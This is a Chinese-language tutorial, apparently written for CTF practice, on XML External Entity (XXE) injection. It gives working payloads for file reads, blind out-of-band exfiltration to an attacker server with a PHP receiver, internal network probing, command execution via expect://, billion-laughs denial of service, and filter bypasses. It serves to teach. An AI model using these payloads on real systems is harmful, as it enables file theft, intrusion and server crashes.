基础知识

XML即 可扩展标记语言(EXtensible Markup Language),是一种标记语言,其标签没有预定义,您需要自行定义标签,是W3C的推荐标准。与HTML的区别是:

  • HTML 被设计用来显示数据

  • XML 被设计用来传输和存储数据

XML文档结构包括:

  • XML声明

  • DTD文档类型定义(可选)

  • 文档元素

先看一下典型的xml文档:

<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>

<!--DTD,这部分可选的-->          
<!DOCTYPE foo [ 
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>

<!--文档元素-->                                                                          
<foo>&xxe;</foo>

DTD概念及声明/引用方式

DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。

DTD一般认为有两种引用或声明方式:

  • 1、内部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。

  • 2、外部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。

DTD实体有以下几种声明方式

内部实体

<!DOCTYPE note [
    <!ENTITY a "admin">
]>
<note>&a</note>
<!-- admin -->

参数实体


<!DOCTYPE note> [
    <!ENTITY % b "<!ENTITY b1 "awsl">">
    %b;
]>
<note>&b1</note>
<!-- awsl -->
  • 参数实体用% name申明,引用时用%name;,只能在DTD中申明,DTD中引用。

  • 其余实体直接用name申明,引用时用&name;,只能在DTD中申明,可在xml文档中引用

外部实体

<!DOCTYPE note> [
    <!ENTITY c SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<note>&c</note>
<!-- Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA== -->

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有

外部参数实体

<!DOCTYPE note> [
    <!ENTITY % d SYSTEM "http://vps_ip/xml.dtd">
    %d;
]>
<note>&d1</note>
<!-- Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA== -->
<!-- http:/vps_ip/xml.dtd -->
<!ENTITY d1 SYSTEM "data://text/plain;base64,Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA==">

XXE判断

在ctf比赛中我们如何判断题目存在XXE注入呢?

通过bp抓包就可以看出来

这是网上的一套xxe靶场我们登入并抓取数据包

可以看出对方存在xml解析,那么很有可能存在XXE漏洞

XML外部实体注入(XML External Entity)

最简单也是最常用的利用方式

一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为Blind XXE,可以使用外带数据通道提取数据。

有回显

直接读靶机文件

poc:<?xml version="1.0"?><!DOCTYPE caigo [
<!ENTITY test SYSTEM  "file:///d:/flag">
]>
<user><username>&test;</username><password>caigo</password></user>

恶意引入外部参数实体

poc
<?xml version="1.0" ?>
<!DOCTYPE test [
    		 <!ENTITY % file SYSTEM "http://vps_ip/caigo.dtd">
    %file;
]>
<user><username>&caigo;</username><password>caigo</password></user>
caigo.dtd文件内容
<!ENTITY caigo SYSTEM 'file:///d/flag'>

无回显下的XXE注入

可以尝试访问dnslog来测试是否存在XXE

<?xml version="1.0" ?><!DOCTYPE test [    <!ENTITY % file SYSTEM "http://rntfdz.dnslog.cn">    %file;]><root>&send;</root>

开始测试

poc<!DOCTYPE updateProfile [
    <!ENTITY % file SYSTEM "file:///d:/flag">
    <!ENTITY % dtd SYSTEM "http://124.222.110.128/caigo.dtd">
    %dtd;
    %send;
]>
<root>&send;</root>
caigo.dtd文件
<!ENTITY % all "<!ENTITY send SYSTEM 'http://vps_ip/get.php?file=%file;'>">
get.php文件
<?php 
$file = $_GET['file'];
$x = fopen('caigo.txt','w');
fwrite($x,$file);
?>

大致意思就是通过file协议读取文件放到%file中,通过外部实体dtd把%file的值通过vps上的get.php文件接收,生成caigo.txt文件把读取到的数据写进去

我这里复现时报错了,但是它基于报错把数据给我显出来了,它没有访问我vps上的get.php文件,可能是我环境问题,大家可自行下去尝试。

接下来就是些XXE的其他利用。

内网探测

和读文件差不多,只不过把URI改成内网机器地址

<?xml version="1.0" encoding="UTF-8"?>        
<!DOCTYPE foo [ 
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://127.0.0.1/1.txt" >
]>
<user><firstname>&rabbit;</firstname><lastname>666</lastname></user>

XXE导致的RCE

这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令:

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

响应:

{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...

XXE造成DOS

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

此测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。
亦或者,如果目标是UNIX系统,

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///dev/random" >]>
<foo>&xxe;</foo>

如果 XML 解析器尝试使用/dev/random文件中的内容来替代实体,则此示例会使服务器(使用 UNIX 系统)崩溃。

绕过姿势

ENTITY``SYSTEM``file等关键词被过滤

使用编码方式绕过:UTF-16BE

cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml

若http被过滤,可以

data://协议绕过

<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % a " <!ENTITY %  b SYSTEM 'http://118.25.14.40:8200/hack.dtd'> "> 
    %a;
    %b;
]>
<test>&hhh;</test>

file://协议加文件上传

<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
    %a;
]>
<!--上传文件-->
<!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>

php://filter协议加文件上传

<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
    %a;
]>
    <test>
        &hhh;
    </test>

<!--上传文件-->
<!ENTITY hhh SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>
<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
    %a;
]>
    <test>
        &hhh;
    </test>
<!--上传文件-->
PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==

其他利用

  • svg造成XXE

  • excel进行XXE攻击

实际上,在比赛中,XXE漏洞基本都是用于读文件的,大家只需要掌握在XXE有回显和无回显下的文件读取即可,其他的内容感兴趣的可以自行去了解。

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。